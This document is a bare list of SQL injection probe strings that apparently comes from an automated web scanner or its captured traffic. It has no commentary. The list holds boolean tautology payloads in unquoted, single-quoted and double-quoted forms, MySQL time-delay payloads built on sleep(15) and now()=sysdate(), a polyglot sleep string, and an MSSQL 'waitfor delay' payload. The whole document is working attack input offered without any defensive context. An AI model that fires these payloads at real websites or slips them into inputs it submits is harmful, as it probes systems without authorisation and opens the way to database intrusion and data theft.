1

-1 OR 2+303-303-1=0+0+0+1 --

-1 OR 2+573-573-1=0+0+0+1

-1' OR 2+981-981-1=0+0+0+1 --

-1' OR 2+108-108-1=0+0+0+1 or 'WvQc5vf2'='

-1" OR 2+326-326-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --